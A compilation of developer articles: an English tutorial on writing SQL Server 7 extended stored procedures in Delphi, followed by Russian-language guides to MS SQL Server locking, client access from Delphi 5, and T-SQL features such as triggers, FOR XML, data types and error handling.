The C programmer who wants to develop xp's has to install the SQL Server 7 development tools. This option can be turned on when installing SQL Server 7. In the directory \MSSQL7\devtools\ you will find all the required header files and demo-programs. Unfortunately, Inprise did not supply a translation of these header files with Delphi. Therefore I had to translate the most important parts by hand to Delphi. This means that you don't need to install the SQL Server 7 development tools if you use this framework to write xp's. If you want to add more pieces you will need this resource kit though. Or you can ask me if I've time to expand the framework a bit to cover the missing pieces. Note: in previous version of SQL Server the development tools were part of the the BackOffice resource kit.

In the previous paragraph 6 steps were mentioned each xp has to do. The framework makes step 1 through 4 easier by taking care of details. You also can use Delphi types, because the framework does type translation between SQL Server types and Delphi types. The framework takes entirely care off step 5 and 6.

You use this framework as follows:

1. Create an object of class TSQLXProc and implement its Execute method.
2. Write a procedure that allocates this object, calls it's Run method and frees the object. The name of this procedure should be equal to the name of your extended stored procedure. It's calling method should be stdcall.

To make this more concrete, let's implement the xp_incbyone1 stored procedure. The 1st step is to create a new object based on TSQLXProc and implement its Execute method. It's header looks like this:

type
  TXPIncByOne1 = class(TSQLXProc)
    function Execute: Boolean; override;
  end;

The Execute method looks like this:

function TXPIncByOne1.Execute: Boolean;
begin
  Params[1] := Params[1] + 1;
  Result := True;
end;

The 2nd step is to write a procedure that calls this object. This is the procedure that SQL Server is actually calling. For xp_incbyone1 it looks like this:

function xp_incbyone1(srvproc: PSRV_PROC): SRVRETCODE; stdcall;
const
  ExpectedParams = 1;
var
  xp: TSQLXProc;
begin
  xp := TXPIncByOne1.Create(srvproc, ExpectedParams);
  Result := xp.Run;
  xp.Free;
end;

It's that easy!

Let's look in more detail to the first step. The only thing you'll ever need to do is to implement the Execute method. This function returns True or False. If False is returned, an error is returned to the calling application or user. Exceptions are caught by the code that calls your Execute method and a similar error is returned to the calling application or user.

You have access to the parameters of a stored procedure by using the variant array Params. Parameters are numbered from one onwards. As noted earlier SQL Server does no type checking on xp parameters. The framework returns parameters as variants, so it's a bit more robust against different parameters, but variant conversion errors may occur if a parameter type mismatches. You might want to use the ODS API call srv_paramtype to explicitly retrieve and check parameter types, but so far I've not found a need this. Another solution for checking parameter types is to use the VarType function. See Table 1 for a list of Transact-SQL data types and corresponding Delphi data types.

If a parameter is Null, the Params property returns the variant type Null. Equally, if you want to return Null, set the corresponding parameter in Params to Null.

Let's look in more detail to the second step. This step will probably always be the same except for the value of the ExpectedParams const and the particular object to instantiate. This procedure is called by SQL Server with one parameter: srvproc. We pass this parameter to the instantiated object and we pass it the number of parameters to expect. If the actual number of parameters is different from this an error message will be send back to the calling application/user. Pass zero if you don't want to check for the number of parameters, for example to support a variable number of parameters.

Next we call the Run method of the instantiated object, which in turn will call our Execute method (surrounded by for example a try..except block). Finally we free the object.

Now let's tackle an xp which returns a result set. It's header is this:

type
  TXPIncByOne2 = class(TSQLXProc)
    function Execute: Boolean; override;
  end;

It's body is this:

function TXPIncByOne2.Execute: Boolean;
var
  myint: integer;
begin
  DescribeColumn('my column name', SRVINT4, 4, SRVINT4, 4, @myint);
  Myint := Params[1] + 1;
  SendRow;
  Result := True;
end;

And the procedure to call this object is this:

function xp_incbyone2(srvproc: PSRV_PROC): SRVRETCODE; stdcall;
const
  ExpectedParams = 1;
var
  xp: TSQLXProc;
begin
  xp := TXPIncByOne2.Create(srvproc, ExpectedParams);
  Result := xp.Run;
  xp.Free;
end;

We now have a bit more complicated Execute method. In case we want to return a result set, we need to describe every row in the resulting table: its column name, its destination type, its destination length, its source type, its source length and a pointer to the source data. You should call DescribeColumn for every column in the result table. The next step is to fill the source data, that's the assignment to myint. The row is now complete, so we can send it to SQL Server using SendRow. You should prepare source data and call SendRow for every row in the result table. And finally just return True and exit. After that SQL Server will send the entire result table to the client.

The xp_incbyone2 procedure is still a simple call the object and exit. In the remaining examples I will omit this procedure.

Table 1: supported types for use with DescribeColumn.

ODS constant     TSQL data type(s)   Delhi data type(s)
SRVVARCHAR    varchar   string
SRVCHAR    char     string
SRVINTN   tinyint, smallint, int    shortint,smallint,integer
SRVBIT     bit    Boolean
SRVDECIMAL   numeric/decimal   n/a (string)
SRVNUMERIC   numeric/decimal   n/a (string)
SRVFLTN   real, float   single, double
SRVMONEYN   smallmoney, money   n/a (integer, DBMONEY)
SRVDATETIMN   smalldatetime, datetime   TDateTime

I implemented two xp's from the sample xp's which Microsoft implemented in xp.c. The first one simply copies the contents of the first parameter to the second parameter. The second one returns the free space from every drive available on the SQL Server computer.

To avoid name clashes I called the first xp xp_delphiecho instead of xp_echo. The second one is called xp_delphidisklist instead of xp_disklist. Especially xp_echo looks ways more elegant than the Microsoft's sample program. You really should have a look at xp.c!

The code for xp_delphiecho is:

function TXPEcho.Execute: Boolean;
begin
  Params[2] := Params[1];
  Result := True;
end;

The code for xp_delphidisklist is:

function TXPDiskList.Execute: Boolean;
var
  drivename: char;
  space_remaining: Int32;
  drivenums: Int32;
  rootname: string;
  SectorsPerCluster,
    BytesPerSector,
    NumberOfFreeClusters,
    TotalNumberOfClusters: dword;

  function IsDrive(drive: char): Boolean;
  begin
    IsDrive := (drivenums and (1 shl (Ord(drive) - Ord('A')))) <> 0;
  end;

begin
  DescribeColumn('drive', SRVCHAR, 1, SRVCHAR, 1, @drivename);
  DescribeColumn('bytes free', SRVINT4, 4, SRVINT4, 4, @space_remaining);
  drivenums := GetLogicalDrives;
  for drivename := 'C' to 'Z' do
  begin
    if IsDrive(drivename) then
    begin
      rootname := drivename + ':\';
      GetDiskFreeSpace(
        PChar(rootname),
        SectorsPerCluster,
        BytesPerSector,
        NumberOfFreeClusters,
        TotalNumberOfClusters);
      space_remaining := SectorsPerCluster * NumberOfFreeClusters * BytesPerSector;
      SendRow;
    end;
  end;
  Result := True;
end;

In the first two lines the description of the result table is given. The result table consists of two columns 'drive' and 'bytes free'. Next for every drive we fill the variables drivename and space_remaining and send back the row using SendRow.

The framework in more detail

The framework itself is in the unit odsxp.pas. In the following figure you see how this framework fits within the ODS architecture.

SQL Server loads and calls the DLL. You have written a simple method which creates an object of type TSQLXProc. You call its Run method.

The Run method does some checks and calls you back on a method you have written, the Execute method. When you are finished, you return to Run, which in return sends the results back to SQL Server.

Installing xp's on SQL Server

All of the material in this section can also be found in the Microsoft SQL Programmers Toolkit or in the Microsoft Transact-SQL reference.

Installing xp's differs between SQL Server 6.5 and SQL Server 7.0. Everything that works under SQL Server 6.5 also works under SQL Server 7.

Installing xp's on SQL Server 7

Installing an extended stored procedure on SQL Server 7 can be done using the SQL Enterprise manager:

1. Open a server.
2. Go to item `Databases'.
3. Select the master database.
4. Right click it and choose `New Extended Stored Procedure', see figure below
5. Give the name of a function in the DLL and the location and name of the DLL itself.

Installing xp's on SQL Server 6.5

When you have compiled your DLL you have to install it in the appropriate directory. Copy the file to the same directory as the standard SQL Server DLL files. Usually this directory is something like c:\mssql\binn, note binn with two n's not the bin directory with a single n which also exists! As with other DLL's, once the extended stored procedure DLL is placed in the appropriate directory and the appropriate paths are set, you can make its functions available to users immediately. It is not necessary to restart the server.

For each function provided in an extended stored procedure DLL, a SQL Server system administrator must run the sp_addextendedproc system procedure, specifying the name of the function and the name of the DLL in which that function resides. For example:

sp_addextendedproc 'xp_delphiecho', 'xpdelphi.dll'

This command registers the function xp_delphiecho, located in the file xpdelphi.dll, as a SQL Server extended stored procedure. You must run sp_addextendedproc in the master database.

To drop individual extended stored procedures, a system administrator uses the system procedure sp_dropextendedproc.

Once a system administrator has added an extended stored procedure, users can find out what new functions are available by using the system procedure sp_helpextendedproc. When used without an argument, sp_helpextendedproc displays all extended stored procedures that are currently registered with the master database. If you specify an extended stored procedure name as an argument, sp_helpextendedproc verifies whether that function is currently available.

Extended Stored Procedures are subject to the same security mechanisms as regular stored procedure. For example to give every right on the xp_delphiecho xp, run the following command in the master database:

grant exec on xp_delphiecho to public

Calling extended stored procedures

Every user can now call xp_delphiecho from every database by prefixing xp_delphiecho with 'master..'. For example to call xp_delphiecho from the pubs database you say:

exec master..xp_delphiecho @paramin, @paramout output

Unloading extended stored procedures

SQL Server loads an extended stored procedure DLL as soon as a call is made to one of the DLL's functions. The DLL remains loaded until the server is shut down or until the system administrator uses the DBCC command to unload it. For example:

DBCC xpdelphi(FREE)

This command unloads xpdelphi.dll, allowing the system administrator to copy in a newer version of this file without shutting down the server. You probably will need this command quite a lot to debug your xp's!
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Блокируется таблица в MS SQL Server

По умолчанию, оператор UPDATE в MS SQL Server пытается поставить эксклюзивную табличную блокировку. Вы можете обойти это, используя ключевое слово FROM в сочетании с опцией PAGLOCK для использования MS SQL Server страничных блокировок вместо эксклюзивной табличной блокировки:

UPDATE orders SET customer_id=NULL FROM orders(PAGLOCK) WHERE customer_id=32;

Блокиpовка на всю таблицу пpи UPDATE ставится только в том случае, если по пpедикату нет индекса. Так, можно пpосто пpоиндексиpовать таблицу orders по полю customer_id, и не забывать делать UPDATE STATISTIC, хотя будет работать и с PAGLOCK. Просто не факт, что UPDATE всегда делает табличную блокировку.

Взято с http://delphiworld.narod.ru


Особенности работы с БД на MS SQL Server 2000 из Delphi 5 (статья)

Обзор сервера
Особенности реализации клиентской части
· Особенности реализации серверной части
· SELECT
· INSERT, UPDATE и DELETE
· CREATE TABLE и типы данных
· Написание триггеров
· Пакеты команд
· Обработка ошибок
· Блокировки
· Обработка транзакций
· Соответствие стандарту ANSI SQL 92
· Модель безопасности
· Оптимизатор запросов MS SQL Server
· Получение уникальных идентификаторов
· Временные таблицы
· Создание хранимых процедур и триггеров
· Кластерные индексы
· Определяемые пользователем функции
Советы по работе с MS SQL Server

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Обзор сервера

Обзор сервера
MS SQL Server – прямой потомок Sybase SQL Server, с которым их до сих пор связывает много общего, в первую очередь язык программирования Transact-SQL (далее T-SQL). Однако, в версии 7.0 Microsoft, по её собственным утверждениям, переписала сервер полностью, так что он больше не содержит кода от Sybase. Главным достоинством MS SQL Server является тесная интеграция с Windows NT и семейством продуктов Back Office – общая модель защиты, базирующаяся на защите Windows NT, единая консоль администрирования (Microsoft Management Console), единый набор программных интерфейсов для доступа к данным (OLE DB). Текущая версия сервера на момент написания этой книги – Microsoft SQL Server 2000. Сервер выпускается в следующих редакциях:
· Personal – версия, работающая на Windows 95 и Windows NT Workstation. Предназначена в основном для отладки при разработке ПО. Поддерживает до 2 процессоров. Реально можно работать (имея загруженным сервер, Query Analyzer и Enterprise Manager) на конфигурации P100/40 Мб под Windows 95.
· Standard – стандартная редакция. Работает под Windows NT Server. Поддерживает до 4 процессоров.
· Enterprise – расширенная редакция. Поддерживает до 32 процессоров, включает в себя некоторые дополнительные возможности.
· Developer – редакция для разработчиков. По функциональности примерно соответствует Enterprise
Кроме этого существует версия SQL Server для Windows CE, предназначенная для портативных компьютеров. Эта версия совместима с остальными версиями сервера по языку и имеет возможности репликации данных с ними.
Таким образом, сервер работает на всей линейке операционных систем Microsoft на процессорах Intel и Alpha.
Также нельзя не упомянуть такой продукт, как Microsoft Data Engine (MSDE) – версия MS SQL Server без графических средств администрирования и с ограничениями по размеру БД (2Гб) и количеству пользователей (5). Эта версия предназначена для построения встраиваемых систем, которые при необходимости легко могут быть портированы на полнофункциональную редакцию сервера, а также, например, для создания демонстрационных версий продуктов. Администрирование MSDE может производиться при помощи утилиты osql, клиентских утилит от MS SQL Server, либо из MS Access 2000. MSDE поставляется в составе MS Office 2000 Professional и MS Visual Studio.
Из дополнительных возможностей следует отметить:
· OLAP сервер – средство для создания и представления многомерных кубов данных, использующихся в аналитических системах. На настоящий момент MS SQL является одним из самых дешевых имеющихся на рынке решений подобного рода. OLAP Services входят в стандартную поставку и не требуют дополнительных отчислений.
Полнотекстовый поиск по БД. В сервер включена специальная версия MS Index Server, которая позволяет построить по текстовым (включая BLOB) полям полнотекстовый индекс и расширения SQL, позволяющие строить запросы по этому индексу, например:

SELECT ProductName
  FROM Products
 WHERE CONTAINS(ProductName, 'spread NEAR Boysenberry')

· English Query – инструмент для формирования запросов на естественном английском языке, например «How many blue Fords were sold in 1996?».
В настоящее время существуют решения российских фирм, позволяющие выполнять полнотекстовый поиск на русском языке с учетом словоформ и формировать запросы на русском языке. Ознакомится с ними можно по адресу: http://www.microsoft.com/rus/sql
· Data Transformation Services (DTS) – универсальный инструмент для перемещения данных между гетерогенными источниками. Единственное требование – наличие ODBC (лучше OLE DB) драйвера. Позволяет создавать сложные сценарии переноса данных. Полезен не только при переносе на MS SQL Server, но и для любой другой БД.
· Встроенную в сервер поддержку XML, позволяющую использовать XML-документ в качестве источника данных в запросе и выдавать результаты запроса в виде XML-документа.
Клиентская часть MS SQL Server реализована на платформе Win32. В стандартный комплект поставки входят драйверы, работающие под управлением Windows 95 и Windows NT. Таким образом, в качестве клиента могут выступать все платформы, поддерживаемые Delphi.
Все это делает MS SQL Server привлекательным решением для реализации БД на платформе Windows NT.


Особенности реализации клиентской части

Особенности реализации клиентской части
До версии 6.5 основным интерфейсом доступа к MS SQL Server со стороны клиента была библиотека DB-Library. Она реализовывала набор низкоуровневых интерфейсов, позволяющих организовать взаимодействие с сервером. Однако, в версии 7 Microsoft ввела новый интерфейс доступа – OLE DB. В связи с этим развитие DB-Library прекращено, и она оставлена лишь для обратной совместимости. Доступ через неё не поддерживает новых расширений сервера (UNICODE, текстовые поля до 8 Кбайт, тип данных GUID). Однако, старые приложения, не использующие этой функциональности сохраняют работоспособность, хотя может понадобиться некоторая их переделка в связи с изменениями в 7-й версии. Драйвер SQL Links реализует доступ при помощи DB-Library, и воспользоваться расширениями через него невозможно. Для обеспечения полноценного доступа к MS SQL Server 7.0 и выше необходимо использовать новый набор компонентов ADOExpress, включенный в Delphi 5. Работа через BDE возможна, но при этом сервер доступен в объеме возможностей версии 6.х. Также, существует ODBC драйвер, через который возможен полнофункциональный доступ к серверу. При работе с сервером версии 2000 на работу через BDE накладываются дополнительные ограничения, связанные с использованием индексов по вычисляемым полям.

Доступ при помощи ADOExpress
ActiveX Data Objects (ADO) – надстройка над интерфейсом OLE DB, позволяющая обеспечить бизнес приложениям высокоуровневый доступ к данным. Эта технология включена в Windows 2000, а на остальных версиях доступна в виде бесплатного обновления. ADO автоматически устанавливается на компьютер при установке клиента MS SQL Server
Начиная с версии 5.0 Delphi, в редакции Enterprise, включает в себя набор компонентов, позволяющих работать с ADO. Пользователи профессиональной редакции могут приобрести эти компоненты в виде отдельного продукта.

В качестве драйверов БД ADO использует так называемые OLE DB провайдеры, которые представляют собой COM-серверы, реализующие предопределенный набор COM-интерфейсов. Например, для доступа к набору данных служит интерфейс IRowset, возвращаемый OLE DB при открытии этого набора данных. Для указания ADO, какой провайдер и с какими параметрами должен использоваться служит строка подключения, которая содержится в свойстве ConnectionString компонентов ADOExpress
Для её построения в состав Delphi включен мастер, позволяющий задать параметры графически

Чтобы подключиться к MS SQL Server, необходимо указать тип провайдера «Microsoft OLE DB Provider for SQL Server» и в следующем окне заполнить информацию, необходимую для подключения

После этого можно использовать компоненты ADO как обычных наследников TDataSet
Необходимо отметить, что ADO в значительной мере оптимизировано для использования совместно с MS SQL Server 7.0. Полностью поддерживается модель работы Prepare-Execute, позволяющая эффективно кэшировать планы запросов, серверные курсоры (свойства CursorLocation и CursorType), возможность возврата запросом или хранимой процедурой нескольких наборов данных, прямой доступ к таблицам на сервере (без промежуточной генерации запроса). Например, задав в TADOQuery.SQL следующий код:

SELECT * FROM One
SELECT * FROM Two

Можно в приложении получить два набора данных:

ADOQuery1.Open;
ADODataSet1.RecordSet := ADOQuery1.NextRecordSet;

Решена проблема, возникающая при попытке выполнить запрос при не до конца загруженных данных другого запроса. ADOExpress, в этом случае, автоматически открывает новое временное соединение с сервером и выполняет запрос, используя это соединение.
В оригинальной версии Delphi 5 ADOExpress содержит ряд серьёзных ошибок, которые делают работу при помощи этих компонентов практически невозможной. Поэтому настоятельно рекомендуется установка пакета обновления Delphi и последнего обновления ADO (AePatch.exe), доступного с сайта http://community.borland.com из раздела Code Central

Доступ при помощи BDE
Этот способ доступа не является рекомендуемым, однако для многих приложений, написанных еще для версии 6.х он может понадобиться из соображений обратной совместимости.
В составе BDE поставляется драйвер SQL Link для Microsoft SQL Server. Этот драйвер использует библиотеку DB-Library, что исключает полноценный доступ к возможностям сервера. При работе через этот драйвер, например, нельзя использовать символьные данные в кодировке Unicode, некоторые системные функции. Если необходимо получить доступ к таким данным, необходимо в запросе явно преобразовать их в один из поддерживаемых типов данных, например:
SELECT CAST(USER_NAME() AS VARCHAR(255))
При работе с сервером при помощи BDE и драйвера SQL Link необходимо помнить следующее:

· В зависимости от кодовой страницы сервера он может воспринимать дату в различных форматах. Например: '1 Apr 1999' для английской и '1 Апр 1999' для русской. DB-Library пытается распознать кодовые страницы клиента и сервера и преобразовать дату в нужный вид. Однако при этом часто возникает ошибка, когда дата уходит на сервер не на том языке. Для исключения этой ошибки необходимо проверить язык, установленный в качестве умолчания на сервере (SET LANGUAGE) и в программе Client Network Utility на закладке "DB Library Options" отключить флажок «Use International Settings», если на нем установлен us_english или включить, если установлен русский. Другим способом избежать данной проблемы является передача даты на сервер в виде текстовой строки вида 'yyyymmdd'. При преобразовании 8-символьной строки в дату сервер всегда интерпретирует её таким образом и исключает возможность ошибки. Сделать это можно так:
Params[0].AsString := FormatDateTime('yyyymmdd',DateTimeVariable);
· При выполнении запроса на выборку данных сервер ожидает, что клиентская программа считает все запрошенные данные до посылки на сервер следующего оператора. Однако BDE загружает записи с сервера только по мере необходимости (например, открыв в TDBGrid большую таблицу, мы прочтем с сервера только записи, которые поместятся на экран в её видимой части). Остальные записи считываются по мере необходимости, например при прокрутке таблицы. Если в этой ситуации попытаться выполнить еще один запрос – BDE принудительно выполняет FetchAll для всех открытых, но не считанных до конца запросов. Это может повлечь неожиданную задержку.
· При использовании индексов по вычисляемым полям, появившихся в MSSQL 2000, необходимо, чтобы для сессии были установлены параметры:
ANSI_NULLS   ON
ANSI_PADDING   ON
ANSI_WARNINGS   ON
ARITHABORT   ON
CONCAT_NULL_YIELDS_NULL   ON
QUOTED_IDENTIFIER   ON
NUMERIC_ROUNDABORT   OFF
В противном случае, таблица, по которой определен индекс по вычисляемому полю будет доступна только на чтение. Приведенный набор настроек соответствует умолчаниям для сессий OLE DB и ODBC. DB-Library инициализирует их по другому и Вы должны явно задать требуемые значения после соединения с сервером.


Особенности реализации серверной части

MS SQL Server имеет встроенный язык программирования Transact SQL, являющийся процедурным расширением стандарта ANSI SQL 92 entry level. T-SQL имеет полный набор средств для написания хранимых процедур и триггеров. Кроме этого реализованы некоторые расширения стандартного SQL, которые необходимо знать разработчику.

SELECT
INSERT, UPDATE и DELETE
CREATE TABLE и типы данных
Написание триггеров
Пакеты команд
Обработка ошибок
Блокировки
Обработка транзакций
Соответствие стандарту ANSI SQL 92
Модель безопасности
Оптимизатор запросов MS SQL Server
Получение уникальных идентификаторов
Временные таблицы
Создание хранимых процедур и триггеров
Кластерные индексы
Определяемые пользователем функции


SELECT

В ранних версиях внешнее объединение таблиц задавалось выражением *= и =* во фразе WHERE. Этот синтаксис поддерживается, но не рекомендуется и будет исключен в будущих версиях. Начиная с версии 6.5, сервер поддерживает стандартный синтаксис {LEFT|RIGHT|FULL} [OUTER] JOIN.
Функция IDENTITY(data_type[, seed, increment]) позволяет при выполнении SELECT в таблицу (SELECT INTO) создать в этой таблице автоинкрементное поле IDENTITY и заполнить его. При помощи этой функции и временных таблиц можно пронумеровать результаты запроса.

SELECT IDENTITY(INTEGER, 1, 1) AS Counter, Name
  INTO #Temp
  FROM MyTable
 ORDER BY Name

SELECT * FROM #Temp

Начиная с версии 7.0, оператор SELECT имеет модификаторы TOP n [PERSENT] [WITH TIES], позволяющие вывести первые n записей или n процентов записей. Указав WITH TIES можно заставить сервер включить в результат все записи с таким же значением сортируемого поля, как и у последней из n записи. Если SELECT не имеет фразы ORDER BY, то набор записей не обязательно будет один и тот же.
В качестве одной из таблиц в запросе можно использовать вложенный запрос:

SELECT A.Name, A.Population, B.AvgPop
  FROM City A INNER JOIN
   (SELECT Country, AVG(Population) AS AvgPop
      FROM City GROUP BY Country ) AS B
    ON A.Country = B.Country

Этот запрос для каждого города выведет его название, количество жителей и среднее количество жителей на город в стране, в которой он находится.
Функции OPENQUERY и OPENROWSET позволяют использовать в качестве одной из таблиц в запросе выборку из любого OLE DB совместимого источника данных.
В MSSQL 2000 можно в запросе указать выражение FOR XML, в результате чего будет возвращена строка, содержащая XML представление выборки. Например, запрос:

SELECT O.OrderID, O.CustomerID, O.OrderDate,
  O.ShipName, O.ShipAddress, O.ShipCity, O.ShipRegion,
  P.ProductName, OD.UnitPrice, OD.Quantity
  FROM Orders O
    INNER JOIN [Order Details] OD ON O.OrderId = OD.OrderId
    INNER JOIN Products P ON OD.ProductId = P.ProductId
WHERE O.OrderId = '10248'
FOR XML AUTO

Вернет результат:

<O OrderID="10248"
   CustomerID="VINET"
   OrderDate="1996-07-04T00:00:00"
   ShipName="Vins et alcools Chevalier"
   ShipAddress="59 rue de l&apos;Abbaye"
   ShipCity="Reims">
   <P ProductName="Queso Cabrales">
     <OD UnitPrice="14.0000" Quantity="12"/>
   </P>
   <P ProductName="Singaporean Hokkien Fried Mee">
     <OD UnitPrice="9.8000" Quantity="10"/>
   </P>
   <P ProductName="Mozzarella di Giovanni">
     <OD UnitPrice="34.8000" Quantity="5"/>
   </P>
</O>

Возможно как автоматическое форматирование XML результатов запроса, так и задание способа форматирования программистом.
Кроме этого возможно использование XML данных в качестве таблицы в запросе. В качестве примера рассмотрим хранимую процедуру, выдающую данные по заранее неизвестному количеству записей. Идентификаторы записей передаются в неё в виде XML-документа

CREATE PROCEDURE XMLParam
 @Ids VARCHAR(8000)
AS
 DECLARE @idoc int
 EXEC sp_xml_preparedocument @idoc OUTPUT, @Ids
 SELECT O.*
   FROM Orders O
    INNER JOIN OPENXML (@idoc, '/ROOT/Ids', 1) WITH (ID INT) AS T ON
 .OrderId = T.Id
 EXEC sp_xml_removedocument @idoc
GO

Вызов этой процедуры выглядит следующим образом:

DECLARE @S VARCHAR(8000)

SET @S = '<ROOT>
<Ids ID="10250"/>
<Ids ID="10257"/>
<Ids ID="10258"/>
</ROOT>'

EXECUTE XMLParam @S

Очевидно, что соответствующая строка параметров может быть легко построена и клиентским приложением.


INSERT, UPDATE и DELETE

INSERT
В дополнение к стандартным возможностям, MS SQL Server позволяет вставить в таблицу набор данных, полученный в результате выполнения хранимой процедуры, при помощи синтаксиса:

INSERT author_sales EXECUTE get_author_sales

UPDATE и DELETE
Сервер поддерживает расширенный синтаксис

UPDATE MyTable
  SET Name = 'Иванов'
 FROM MyTable T INNER JOIN AnotherTable A ON T.Id = A.MyTableId
  AND A.SomeField = 20


CREATE TABLE и типы данных

CREATE TABLE
В версии 7.0 поддерживаются следующие типы данных:

BIT Целое число равное 0 или1. В Delphi возможно обращение к полю этого типа при помощи свойства AsBoolean (1 = True, 0 = False)

INT INTEGER 32-битное целое число в диапазоне от -2,147,483,648 до 2,147,483,647.

SMALLINT 16-битное целое число в диапазоне от 32,768 до 32,767

TINYINT 8-битное целое число в диапазоне от 0 до 255

DECIMAL[(P[, S])] NUMERIC, DEC Десятичное число с фиксированной точностью в диапазоне от - 10^38 -1 до 10^38 – 1 P – максимальное количество знаков в числе S – количество знаков после запятой

MONEY Денежный тип данных. Целое 64-битное число, младшие 4 разряда которого отведены под дробную часть. Может хранить числа в диапазоне от -922,337,203,685,477.5808 до 922,337,203,685,477.5807. В Delphi соответствует типу данных Currency

SMALLMONEY Аналогичен Money, но 32-разрядный и ограничен диапазоном от -214,748.3648 до 214,748.3647

FLOAT DOUBLE PRECISION Число с плавающей точкой в диапазоне от -1.79E + 308 до 1.79E + 308.

REAL Число с плавающей точкой в диапазоне от -3.40E + 38 до 3.40E + 38

DATETIME Дата и время в диапазоне от 1 января 1753 г. до 31 декабря 9999 г. с точностью 3.33 миллисекунды

SMALLDATETIME Дата и время в диапазоне от 1 января 1900 г. до 6 июня 2079 г. с точностью до 1 минуты

TIMESTAMP Уникальный в пределах БД идентификатор. Этот тип данных НЕ СОДЕРЖИТ времени и гарантирует лишь, что поле этого типа уникально в рамках базы данных.

UNIQUEIDENTIFIER Глобальный уникальный идентификатор. Статистически уникальное 16-битное значение. Над этим типом данных определены лишь операции =, <>, IS NULL и IS NOT NULL

CHAR[(N)] CHARACTER, VARYING VARCHAR Строка фиксированной длины. N – длина строки. Максимальная длина – 8000 символов

VARCHAR[(N)] CHARACTER VARYING(N) Строка переменной длины N – длина строки. Максимальная длина – 8000 символов

TEXT Строка произвольной (до 2,147,483,647 символов) длины

NCHAR[(N)] NATIONAL CHARACTER, NATIONAL CHAR Строка фиксированной длины в формате UNICODE. N – длина строки. Максимальная длина – 4000 символов

NVARCHAR[(N)] NATIONAL CHARACTER VARYING(N), NATIONAL CHAR VARYING(N) Строка переменной длины в формате UNICODE N – длина строки. Максимальная длина – 4000 символов

NTEXT NATIONAL TEXT Строка произвольной (до 1,073,741,823 символов) длины

BINARY[(N)] VARYING VARBINARY Двоичные данные фиксированной длины, до 8000 байт N – длина данных

VARBINARY[(N)] Двоичные данные переменной длины, до 8000 байт N – длина данных

IMAGE Двоичные данные произвольной (до 2,147,483,647 байт) длины

В версии SQL 2000 дополнительно появились:

Тип Синоним Примечание
BIGINT 64-битное целое число
SQL_VARIANT Может хранить данные произвольного типа

Поддерживается создание вычисляемых полей

CREATE TABLE MyTable (
  Direction BIT NOT NULL,
  Amount MONEY,
  CASE Direction
   WHEN 1 THEN Amount
   ELSE -Amount
  END AS SignedAmount
)

Выражение не должно содержать подзапросов. В версии MSSQL2000 по вычисляемому полю может быть построен индекс.


Написание триггеров

Триггеры в MS SQL Server срабатывают после обновления и один раз на оператор (а не на каждую обновленную запись). Количество триггеров на таблицу неограниченно. В триггере доступна обновленная таблица и две виртуальных таблицы Inserted и Deleted.
В них находятся:

Inserted Deleted
INSERT Вставленные записи Нет записей
UPDATE Новые версии записей Старые версии записей
DELETE Нет записей Удаленные записи

Триггер может, основываясь на содержании этих таблиц осуществить дополнительную модификацию данных, либо отменить транзакцию, вызвавшую этот оператор. Например:

CREATE TRIGGER T1 ON MyTable FOR INSERT, UPDATE
AS BEGIN
  -- Заносим в поля:
  --   LastUserName – имя пользователя, последним обновившего запись
  --   LastDateTime – дату и время последнего обновления
  UPDATE MyTable
    SET LastUserName = SUSER_NAME(),
        LastDateTime = GETDATE()
    FROM Inserted I INNER JOIN MyTable T ON I.Id = T.Id
END

CREATE TRIGGER T2 ON MyTable FOR DELETE
AS BEGIN
  -- Этот триггер откатывает и снимает всю транзакцию
  -- вызвавшую ошибку
  IF EXISTS (SELECT * FROM Deleted
              WHERE Position = 'Boss') BEGIN
    RAISERROR('Нельзя удалять начальника', 16, 1)
    ROLLBACK
  END
END

CREATE TRIGGER T3 ON MyTable FOR DELETE
AS BEGIN
  -- А этот просто не дает удалить запись
  -- позволяя продолжить транзакцию
  IF EXISTS (SELECT * FROM Deleted
              WHERE Position = 'Programmer') BEGIN
    INSERT INTO MyTable
      SELECT * FROM Deleted
       WHERE Position = 'Programmer'
    RAISERROR('Программиста удалить тоже не получится', 16, 1)
  END
END

Поскольку триггер срабатывает после обновления таблицы в нем нельзя реализовывать каскадные обновления данных при наличии FOREIGN KEY. Например, если есть две таблицы:

CREATE TABLE Main (
  Id INTEGER PRIMARY KEY
)

CREATE TABLE Child (
  Id INTEGER PRIMARY KEY,
  MainId INTEGER NOT NULL REFERENCES Main(Id)
)

То при удалении записи из Main, на которую имеются ссылки в Child, триггер на Main не сработает. Чтобы обойти эту проблему рекомендуется создать хранимую процедуру

CREATE PROCEDURE DeleteFromMain
 @Id INTEGER
AS BEGIN
  DECLARE @Result INTEGER
  BEGIN TRANSACTION
    SAVE TRANSACTION DeleteFromMain
      DELETE Child WHERE MainId = @Id
      DELETE Main WHERE Id = @Id
    SET @Result = @@ERROR
    IF @Result <> 0
      ROLLBACK TRANSACTION DeleteFromMain
  COMMIT
END

Другим способом является реализация ограничений ссылочной целостности только при помощи триггеров.
Кроме этого в версии MSSQL 2000 возможно создание INSTEAD OF триггеров. Такие триггеры выполняются вместо вызвавшей их операции. При этом ответственность за запись данных в таблице полностью лежит на программисте. Такие триггеры могут быть созданы на представлениях (VIEW), что позволяет сделать обновляемым любое представление, независимо от его сложности.


Пакеты команд

Операторы могут отправляться на сервер не поодиночке, а пакетами. Пакетом (batch) называется группа команд, отправленная клиентским приложением на сервер одновременно. Весь пакет компилируется в единый план исполнения. Такая техника позволяет уменьшить сетевой трафик и увеличить эффективность приложения. Типичный пакет может выглядеть следующим образом:

BEGIN TRANSACTION
INSERT One (SomeField) VALUES (:1)
INSERT Two (AnotherField) VALUES (:2)
IF @@ERROR = 0
  COMMIT
ELSE
  ROLLBACK

Внутри пакета возможно объявление переменных. Область их видимости ограничена пакетом, в котором они объявлены.
В случае синтаксической ошибки в любом из операторов пакета весь пакет не выполняется. Однако в случае ошибки выполнения любого оператора остальные операторы продолжают исполняться до окончания пакета.

Разделителем пакетов команд служит оператор GO.


Обработка ошибок

Для тог, чтобы проинформировать клиентское приложение об ошибке MS SQL Server использует функцию RAISERROR. При этом необходимо помнить, что:
· Выполнение процедуры этой функцией не прерывается, транзакции не откатываются. Если в этом есть необходимость – используйте ROLLBACK или RETURN
· Ошибки с severity ниже 10 являются информационными и не вызывают исключения компонентов работы с данными.
При возникновении ошибки в каком-либо из операторов внутри пакета выполнение пакета продолжается, а функция @@ERROR возвращает код ошибки, который можно обработать.

INSERT MyTable (Name) VALUES ('Петров')
IF @@ERROR != 0
  PRINT 'Ошибка вставки'.

